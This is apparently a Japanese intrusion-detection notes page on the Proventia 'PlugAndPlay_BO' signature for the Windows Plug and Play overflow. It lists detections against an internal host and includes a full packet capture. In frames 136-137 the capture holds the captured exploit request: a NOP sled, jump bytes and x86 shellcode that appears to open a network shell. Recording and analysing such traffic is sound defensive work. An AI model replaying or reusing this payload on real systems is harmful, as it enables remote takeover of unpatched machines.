【Proventia】PlugAndPlay_BO

■シグネチャの説明

http://xforce.iss.net/xforce/xfdb/19705

■IDSでの検知

PlugAndPlay_BO



■スキャンツール

http://www.foundstone.com/resources/freetooldownload.htm?file=MS05039Scan.zip



■検知状況

2005-12-17 18:04:38 JST PlugAndPlay_BO ***.45.186.15 ***762 192.168.221.180 445
2005-12-17 18:23:12 JST PlugAndPlay_BO ***.45.186.15 ***695 192.168.221.180 445
2005-12-17 18:57:04 JST PlugAndPlay_BO ***.45.186.15 ***242 192.168.221.180 445
2005-12-17 22:09:13 JST PlugAndPlay_BO ***.111.150.190 2396 192.168.221.180 445
2005-12-18 01:38:08 JST PlugAndPlay_BO ***.229.109.44 4338 192.168.221.180 445
2005-12-18 04:06:31 JST PlugAndPlay_BO ***.45.186.15 62236 192.168.221.180 445
2005-12-18 05:17:31 JST PlugAndPlay_BO ***.45.186.15 63902 192.168.221.180 445
2005-12-18 07:19:51 JST PlugAndPlay_BO ***.45.186.15 62***8 192.168.221.180 445
2005-12-18 20:14:38 JST PlugAndPlay_BO ***.168.245.101 2128 192.168.221.180 445
2005-12-18 22:21:46 JST PlugAndPlay_BO ***.45.79.119 3652 192.168.221.180 445
2005-12-18 22:32:33 JST PlugAndPlay_BO ***.45.8.186 4821 192.168.221.180 445
2005-12-19 08:30:00 JST PlugAndPlay_BO ***.89.54.63 1***98 192.168.221.180 445
2005-12-19 10:04:09 JST PlugAndPlay_BO ***.118.53.35 63730 192.168.221.180 445
2005-12-19 11:02:54 JST PlugAndPlay_BO ***.191.105.91 1202 192.168.221.180 139
2005-12-19 12:44:09 JST PlugAndPlay_BO ***.183.93.241 4995 192.168.221.180 139
2005-12-19 14:52:54 JST PlugAndPlay_BO ***.125.201.6 3179 192.168.221.180 445
2005-12-19 14:57:52 JST PlugAndPlay_BO ***.95.178.1 1404 192.168.221.180 445
2005-12-19 15:33:19 JST PlugAndPlay_BO ***.125.201.6 3068 192.168.221.180 445
2005-12-19 16:48:12 JST PlugAndPlay_BO ***.***.12.70 2700 192.168.221.180 445
2005-12-19 17:16:09 JST PlugAndPlay_BO ***.125.194.95 2063 192.168.221.180 445
2005-12-19 20:17:05 JST PlugAndPlay_BO ***.32.173.37 3576 192.168.221.180 445
2005-12-19 21:45:44 JST PlugAndPlay_BO ***.11.57.209 3033 192.168.221.180 139
2005-12-20 15:45:57 JST PlugAndPlay_BO ***.136.194.185 4890 192.168.221.180 139
2005-12-20 15:54:33 JST PlugAndPlay_BO ***.202.29.58 4165 192.168.221.180 445
2005-12-20 16:51:56 JST PlugAndPlay_BO ***.139.99.9 3198 192.168.221.180 445
2005-12-20 18:03:10 JST PlugAndPlay_BO ***.68.231.97 4185 192.168.221.180 445
2005-12-20 20:31:51 JST PlugAndPlay_BO ***.189.132.214 3974 192.168.221.180 139
2005-12-20 21:18:16 JST PlugAndPlay_BO ***.124.***.35 1678 192.168.221.180 445
2005-12-20 23:13:50 JST PlugAndPlay_BO ***.220.240.85 63216 192.168.221.180 445
2005-12-20 23:34:25 JST PlugAndPlay_BO ***.125.18.232 1175 192.168.221.180 445
2005-12-21 09:06:36 JST PlugAndPlay_BO ***.125.197.202 4698 192.168.221.180 445
2005-12-21 11:***:22 JST PlugAndPlay_BO ***.190.121.114 1721 192.168.221.180 445
2005-12-21 12:15:34 JST PlugAndPlay_BO ***.125.197.202 4081 192.168.221.180 445
2005-12-21 12:36:48 JST PlugAndPlay_BO ***.188.221.99 2925 192.168.221.180 445
2005-12-21 14:10:01 JST PlugAndPlay_BO ***.125.204.250 22*** 192.168.221.180 445
2005-12-21 14:52:50 JST PlugAndPlay_BO ***.125.197.202 3701 192.168.221.180 445
2005-12-21 14:58:06 JST PlugAndPlay_BO ***.125.204.250 4013 192.168.221.180 445
2005-12-21 15:27:34 JST PlugAndPlay_BO ***.125.204.250 3084 192.168.221.180 445
2005-12-21 15:31:43 JST PlugAndPlay_BO ***.222.7.34 2424 192.168.221.180 445
2005-12-21 16:11:28 JST PlugAndPlay_BO ***.125.197.202 2492 192.168.221.180 445
2005-12-21 16:44:37 JST PlugAndPlay_BO ***.97.33.80 2934 192.168.221.180 139
2005-12-21 16:***:40 JST PlugAndPlay_BO ***..68.225.3 4451 192.168.221.180 445
2005-12-21 18:22:07 JST PlugAndPlay_BO ***.125.213.*** 2696 192.168.221.180 445


■パケット

No. Time Source Destination Protocol Info
133 2005-10-03 05:16:35.731818 192.168.37.150 ***.***.110.141 SMB NT Create AndX Response, FID: 0x4000

Frame 133 (193 bytes on wire, 193 bytes captured)
Ethernet II, Src: 00:0c:29:d4:ed:b6, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.150 (192.168.37.150), Dst Addr: ***.***.110.141 (***.***.110.141)
Transmission Control Protocol, Src Port: microsoft-ds (445), Dst Port: 33659 (33659), Seq: 610, Ack: 732, Len: 139
NetBIOS Session Service
SMB (Server Message Block Protocol)

0000 00 d0 c9 96 61 5d 00 0c 29 d4 ed b6 08 00 45 00 ....a]..).....E.
0010 00 b3 0a 06 40 00 80 06 5d 9e c0 a8 25 96 3d d5 ....@...]...% .=.
0020 6e 8d 01 bd 83 7b 01 03 4c 71 83 69 8a 58 50 18 n....{..Lq.i.XP.
0030 f8 15 f1 91 00 00 00 00 00 87 ff 53 4d 42 a2 00 ...........SMB..
0040 00 00 00 98 07 c8 00 00 00 00 00 00 00 00 00 00 ................
0050 00 00 00 08 78 04 00 08 40 00 2a ff 00 87 00 00 ....x...@.*.....
0060 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 .@..............
0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0080 00 00 00 00 00 00 80 00 00 00 00 10 00 00 00 00 ................
0090 00 00 00 00 00 00 00 00 00 00 02 00 ff 05 00 00 ................
00a0 00 06 00 06 00 40 00 00 00 10 00 10 00 47 00 00 .....@.......G ..
00b0 00 15 8a 88 e0 48 00 9b 01 12 00 9b 01 12 00 27 .....H.........'
00c0 86 .
No. Time Source Destination Protocol Info
134 2005-10-03 05:16:35.766901 ***.***.110.141 192.168.37.150 DCERPC Bind: call_id: 1 UUID: PNP

Frame 134 (214 bytes on wire, 214 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:d4:ed:b6
Internet Protocol, Src Addr: ***.***.110.141 (***.***.110.141), Dst Addr: 192.168.37.150 (192.168.37.150)
Transmission Control Protocol, Src Port: 33659 (33659), Dst Port: microsoft-ds (445), Seq: 732, Ack: 749, Len: 160
NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Pipe Protocol
DCE RPC

0000 00 0c 29 d4 ed b6 00 d0 c9 96 61 5d 08 00 45 00 ..).......a]..E.
0010 00 c8 8b a2 40 00 79 06 e2 ec 3d d5 6e 8d c0 a8 ....@.y...=.n ...
0020 25 96 83 7b 01 bd 83 69 8a 58 01 03 4c fc 50 18 %..{...i.X..L.P.
0030 fe bf 72 18 00 00 00 00 00 9c ff 53 4d 42 25 00 ..r........SMB%.
0040 00 00 00 18 07 c8 00 00 00 00 00 00 00 00 00 00 ................
0050 00 00 00 08 78 04 00 08 50 00 10 00 00 48 00 00 ....x...P....H..
0060 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 54 ...............T
0070 00 48 00 54 00 02 00 26 00 00 40 59 00 00 5c 00 .H.T...&..@Y..\ .
0080 50 00 49 00 50 00 45 00 5c 00 00 00 40 00 05 00 P.I.P.E.\...@...
0090 0b 03 10 00 00 00 48 00 00 00 01 00 00 00 b8 10 ......H.........
00a0 b8 10 00 00 00 00 01 00 00 00 00 00 01 00 40 4e ..............@N
00b0 9f 8d 3d a0 ce 11 8f 69 08 00 3e 30 05 1b 01 00 ..=....i..>0....
00c0 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 ...]..........+.
00d0 48 60 02 00 00 00 H`....
No. Time Source Destination Protocol Info
135 2005-10-03 05:16:35.768146 192.168.37.150 ***.***.110.141 DCERPC Bind_ack: call_id: 1 accept max_xmit: 4280 max_recv: 4280

Frame 135 (182 bytes on wire, 182 bytes captured)
Ethernet II, Src: 00:0c:29:d4:ed:b6, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.150 (192.168.37.150), Dst Addr: ***.***.110.141 (***.***.110.141)
Transmission Control Protocol, Src Port: microsoft-ds (445), Dst Port: 33659 (33659), Seq: 749, Ack: 892, Len: 128
NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Pipe Protocol
DCE RPC

0000 00 d0 c9 96 61 5d 00 0c 29 d4 ed b6 08 00 45 00 ....a]..).....E.
0010 00 a8 0a 07 40 00 80 06 5d a8 c0 a8 25 96 3d d5 ....@...]...% .=.
0020 6e 8d 01 bd 83 7b 01 03 4c fc 83 69 8a f8 50 18 n....{..L..i..P.
0030 f7 75 52 4d 00 00 00 00 00 7c ff 53 4d 42 25 00 .uRM.....|.SMB%.
0040 00 00 00 98 07 c8 00 00 00 00 00 00 00 00 00 00 ................
0050 00 00 00 08 78 04 00 08 50 00 0a 00 00 44 00 00 ....x...P....D..
0060 00 00 00 38 00 00 00 44 00 38 00 00 00 00 00 45 ...8...D.8.....E
0070 00 00 05 00 0c 03 10 00 00 00 44 00 00 00 01 00 ..........D.....
0080 00 00 b8 10 b8 10 30 9b 00 00 0d 00 5c 50 49 50 ......0.....\PIP
0090 45 5c 6e 74 73 76 63 73 00 00 01 00 00 00 00 00 E\ntsvcs........
00a0 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 ...]..........+.
00b0 48 60 02 00 00 00 H`....
No. Time Source Destination Protocol Info
136 2005-10-03 05:16:35.802169 ***.***.110.141 192.168.37.150 DCERPC Request: call_id: 1[Short Frame]

Frame 136 (1468 bytes on wire, 1468 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:d4:ed:b6
Internet Protocol, Src Addr: ***.***.110.141 (***.***.110.141), Dst Addr: 192.168.37.150 (192.168.37.150)
Transmission Control Protocol, Src Port: 33659 (33659), Dst Port: microsoft-ds (445), Seq: 892, Ack: 877, Len: 1414
NetBIOS Session Service
SMB (Server Message Block Protocol)
SMB Pipe Protocol
[Short Frame: DCERPC]

0000 00 0c 29 d4 ed b6 00 d0 c9 96 61 5d 08 00 45 00 ..).......a]..E.
0010 05 ae 8b a3 40 00 79 06 de 05 3d d5 6e 8d c0 a8 ....@.y...=.n ...
0020 25 96 83 7b 01 bd 83 69 8a f8 01 03 4d 7c 50 10 %..{...i....M|P.
0030 fe 3f f2 58 00 00 00 00 08 90 ff 53 4d 42 25 00 .?.X.......SMB%.
0040 00 00 00 18 07 c8 00 00 00 00 00 00 00 00 00 00 ................
0050 00 00 00 08 78 04 00 08 60 00 10 00 00 3c 08 00 ....x...`....<..
0060 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 54 ...............T
0070 00 3c 08 54 00 02 00 26 00 00 40 4d 08 00 5c 00 .<.T...&..@M..\ .
0080 50 00 49 00 50 00 45 00 5c 00 00 00 40 00 05 00 P.I.P.E.\...@...
0090 00 03 10 00 00 00 3c 08 00 00 01 00 00 00 24 08 ......<.......$.
00a0 00 00 00 00 36 00 11 00 00 00 00 00 00 00 11 00 ....6...........
00b0 00 00 52 00 4f 00 4f 00 54 00 5c 00 53 00 59 00 ..R.O.O.T.\.S.Y.
00c0 53 00 54 00 45 00 4d 00 5c 00 30 00 30 00 30 00 S.T.E.M.\.0.0.0.
00d0 30 00 00 00 00 00 ff ff 00 00 e0 07 00 00 00 00 0...............
00e0 00 00 00 00 00 00 c0 07 00 00 00 00 00 00 90 90 ................
00f0 90 90 90 90 90 90 eb 08 90 90 67 15 7a 76 eb 08 ..........g.zv..
0100 90 90 67 15 7a 76 eb 08 90 90 67 15 7a 76 eb 08 ..g.zv....g.zv..
0110 90 90 67 15 7a 76 eb 08 90 90 67 15 7a 76 eb 08 ..g.zv....g.zv..
0120 90 90 67 15 7a 76 eb 08 90 90 67 15 7a 76 eb 08 ..g.zv....g.zv..
0130 90 90 67 15 7a 76 eb 08 90 90 79 3c 01 01 eb 08 ..g.zv....y<....
0140 90 90 67 15 7a 76 90 90 90 90 90 90 90 eb 08 90 ..g.zv..........
0150 90 48 4f 44 88 90 90 90 90 90 90 90 90 90 90 90 .HOD............
0160 90 90 90 90 90 90 eb 02 eb 6b e8 f9 ff ff ff 53 .........k.....S
0170 55 56 57 8b 6c 24 18 8b 45 3c 8b 54 05 78 03 d5 UVW.l$..E<.T.x..
0180 8b 4a 18 8b 5a 20 03 dd e3 32 49 8b 34 8b 03 f5 .J..Z ...2I.4...
0190 33 ff fc 33 c0 ac 3a c4 74 07 c1 cf 0d 03 f8 eb 3..3..:.t.......
01a0 f2 3b 7c 24 14 75 e1 8b 5a 24 03 dd 66 8b 0c 4b .;|$.u..Z$..f..K
01b0 8b 5a 1c 03 dd 8b 04 8b 03 c5 eb 02 33 c0 5f 5e .Z..........3._^
01c0 5d 5b 89 44 24 04 8b 04 24 89 44 24 08 8b 44 24 ][.D$...$.D$..D$
01d0 04 83 c4 08 c3 5e 6a 30 59 64 8b 19 8b 5b 0c 8b .....^j0Yd...[..
01e0 5b 1c 8b 1b 8b 7b 08 83 ec 1c 8b ec 33 c0 50 68 [....{......3.Ph
01f0 2e 65 78 65 89 65 14 57 68 ea 49 8a e8 ff d6 6a .exe.e.Wh.I....j
0200 06 ff 75 14 ff d0 89 45 04 57 68 db 8a 23 e9 ff ..u....E.Wh..#..
0210 d6 89 45 0c 57 68 8e 4e 0e ec ff d6 33 c9 66 b9 ..E.Wh.N....3.f.
0220 6c 6c 51 68 33 32 2e 64 68 77 73 32 5f 54 ff d0 llQh32.dhws2_T..
0230 8b d8 53 68 b6 19 18 e7 ff d6 89 45 10 53 68 e7 ..Sh.......E.Sh.
0240 79 c6 79 ff d6 89 45 18 53 68 6e 0b 2f 49 ff d6 y.y...E.Shn./I..
0250 6a 06 6a 01 6a 02 ff d0 89 45 08 33 c0 50 50 50 j.j.j....E.3.PPP
0260 b8 02 ff f1 ed 80 f4 ff 50 8b c4 6a 10 50 ff 75 ........P..j.P.u
0270 08 53 68 a4 1a 70 c7 ff d6 ff d0 58 53 68 a4 ad .Sh..p.....XSh..
0280 2e e9 ff d6 6a 10 ff 75 08 ff d0 33 c0 50 50 ff ....j..u...3.PP.
0290 75 08 53 68 e5 49 86 49 ff d6 ff d0 8b 4d 08 89 u.Sh.I.I.....M..
02a0 45 08 51 ff 55 18 81 c4 fc fe ff ff 8b dc 33 c9 E.Q.U.........3.
02b0 51 b1 ff 51 53 ff 75 08 ff 55 10 85 c0 7e 0a 50 Q..QS.u..U...~.P
02c0 53 ff 75 04 ff 55 0c eb e5 ff 75 08 ff 55 18 57 S.u..U....u..U.W
02d0 68 5b 4c 1a dd ff d6 ff 75 04 ff d0 33 c0 50 ff h[L.....u...3.P.
02e0 75 14 57 68 98 fe 8a 0e ff d6 ff d0 57 68 ef ce u.Wh........Wh..
02f0 e0 60 ff d6 ff d0 90 90 90 90 90 90 90 90 90 90 .`..............
0300 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0310 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0320 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0330 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0340 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0350 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0360 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0370 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0380 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0390 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03e0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
03f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0400 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0410 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0420 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0430 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0440 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0450 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0460 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0470 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0480 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0490 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
04a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
04b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
04c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
04d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
04e0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
04f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0530 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0540 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0550 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0560 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0570 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0580 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0590 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
05a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
05b0 90 90 90 90 90 90 90 90 90 90 90 90 ............
No. Time Source Destination Protocol Info
137 2005-10-03 05:16:35.804043 ***.***.110.141 192.168.37.150 TCP [Continuation to #136] 33659 > microsoft-ds [PSH, ACK] Seq=2306 Ack=877 Win=65087 Len=782

Frame 137 (836 bytes on wire, 836 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:d4:ed:b6
Internet Protocol, Src Addr: ***.***.110.141 (***.***.110.141), Dst Addr: 192.168.37.150 (192.168.37.150)
Transmission Control Protocol, Src Port: 33659 (33659), Dst Port: microsoft-ds (445), Seq: 2306, Ack: 877, Len: 782

0000 00 0c 29 d4 ed b6 00 d0 c9 96 61 5d 08 00 45 00 ..).......a]..E.
0010 03 36 8b a4 40 00 79 06 e0 7c 3d d5 6e 8d c0 a8 .6..@.y..|=.n ...
0020 25 96 83 7b 01 bd 83 69 90 7e 01 03 4d 7c 50 18 %..{...i.~..M|P.
0030 fe 3f e6 cc 00 00 90 90 90 90 90 90 90 90 90 90 .?..............
0040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0090 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00e0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0100 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0110 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0120 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0130 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0140 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0150 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0160 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0170 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0180 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0190 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
01a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
01b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
01c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
01d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
01e0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
01f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0200 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0210 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0220 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0230 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0240 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0250 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0260 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0270 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0280 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0290 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
02a0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
02b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
02c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
02d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
02e0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
02f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0300 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0310 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0320 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0330 90 90 90 90 90 90 90 90 e0 07 00 00 04 00 00 00 ................
0340 00 00 00 00 ....
No. Time Source Destination Protocol Info
138 2005-10-03 05:16:35.805207 192.168.37.150 ***.***.110.141 TCP microsoft-ds > 33659 [ACK] Seq=877 Ack=3088 Win=64240 Len=0

Frame 138 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: 00:0c:29:d4:ed:b6, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.150 (192.168.37.150), Dst Addr: ***.***.110.141 (***.***.110.141)
Transmission Control Protocol, Src Port: microsoft-ds (445), Dst Port: 33659 (33659), Seq: 877, Ack: 3088, Len: 0

0000 00 d0 c9 96 61 5d 00 0c 29 d4 ed b6 08 00 45 00 ....a]..).....E.
0010 00 28 0a 08 40 00 80 06 5e 27 c0 a8 25 96 3d d5 .(..@...^'..% .=.
0020 6e 8d 01 bd 83 7b 01 03 4d 7c 83 69 93 8c 50 10 n....{..M|.i..P.
0030 fa f0 37 95 00 00 00 00 00 87 ff 53 ..7........S
No. Time Source Destination Protocol Info
139 2005-10-03 05:16:37.848679 ***.***.110.141 192.168.37.150 TCP 33659 > microsoft-ds [FIN, ACK] Seq=3088 Ack=877 Win=65087 Len=0

Frame 139 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:d4:ed:b6
Internet Protocol, Src Addr: ***.***.110.141 (***.***.110.141), Dst Addr: 192.168.37.150 (192.168.37.150)
Transmission Control Protocol, Src Port: 33659 (33659), Dst Port: microsoft-ds (445), Seq: 3088, Ack: 877, Len: 0

0000 00 0c 29 d4 ed b6 00 d0 c9 96 61 5d 08 00 45 00 ..).......a]..E.
0010 00 28 8c b3 40 00 79 06 e2 7b 3d d5 6e 8d c0 a8 .(..@.y..{=.n ...
0020 25 96 83 7b 01 bd 83 69 93 8c 01 03 4d 7c 50 11 %..{...i....M|P.
0030 fe 3f 34 45 00 00 .?4E..
No. Time Source Destination Protocol Info
140 2005-10-03 05:16:37.849471 192.168.37.150 ***.***.110.141 TCP microsoft-ds > 33659 [FIN, ACK] Seq=877 Ack=3089 Win=64240 Len=0

Frame 140 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: 00:0c:29:d4:ed:b6, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.150 (192.168.37.150), Dst Addr: ***.***.110.141 (***.***.110.141)
Transmission Control Protocol, Src Port: microsoft-ds (445), Dst Port: 33659 (33659), Seq: 877, Ack: 3089, Len: 0

0000 00 d0 c9 96 61 5d 00 0c 29 d4 ed b6 08 00 45 00 ....a]..).....E.
0010 00 28 0a 09 40 00 80 06 5e 26 c0 a8 25 96 3d d5 .(..@...^&..% .=.
0020 6e 8d 01 bd 83 7b 01 03 4d 7c 83 69 93 8d 50 11 n....{..M|.i..P.
0030 fa f0 37 93 00 00 00 00 00 7c ff 53 ..7......|.S
No. Time Source Destination Protocol Info
141 2005-10-03 05:16:38.566668 192.168.37.150 ***.***.110.141 TCP [TCP Retransmission] microsoft-ds > 33659 [FIN, ACK] Seq=877 Ack=3089 Win=64240 Len=0

Frame 141 (60 bytes on wire, 60 bytes captured)
Ethernet II, Src: 00:0c:29:d4:ed:b6, Dst: 00:d0:c9:96:61:5d
Internet Protocol, Src Addr: 192.168.37.150 (192.168.37.150), Dst Addr: ***.***.110.141 (***.***.110.141)
Transmission Control Protocol, Src Port: microsoft-ds (445), Dst Port: 33659 (33659), Seq: 877, Ack: 3089, Len: 0

0000 00 d0 c9 96 61 5d 00 0c 29 d4 ed b6 08 00 45 00 ....a]..).....E.
0010 00 28 0a 0a 40 00 80 06 5e 25 c0 a8 25 96 3d d5 .(..@...^%..% .=.
0020 6e 8d 01 bd 83 7b 01 03 4d 7c 83 69 93 8d 50 11 n....{..M|.i..P.
0030 fa f0 37 93 00 00 00 46 48 45 50 46 ..7....FHEPF
No. Time Source Destination Protocol Info
142 2005-10-03 05:16:38.598595 ***.***.110.141 192.168.37.150 TCP [TCP ZeroWindow] 33659 > microsoft-ds [ACK] Seq=3089 Ack=878 Win=0 Len=0

Frame 142 (54 bytes on wire, 54 bytes captured)
Ethernet II, Src: 00:d0:c9:96:61:5d, Dst: 00:0c:29:d4:ed:b6
Internet Protocol, Src Addr: ***.***.110.141 (***.***.110.141), Dst Addr: 192.168.37.150 (192.168.37.150)
Transmission Control Protocol, Src Port: 33659 (33659), Dst Port: microsoft-ds (445), Seq: 3089, Ack: 878, Len: 0

0000 00 0c 29 d4 ed b6 00 d0 c9 96 61 5d 08 00 45 00 ..).......a]..E.
0010 00 28 8c f6 00 00 79 06 22 39 3d d5 6e 8d c0 a8 .(....y."9=.n...
0020 25 96 83 7b 01 bd 83 69 93 8d 01 03 4d 7d 50 10 %..{...i....M}P.
0030 00 00 32 84 00 00 ..2...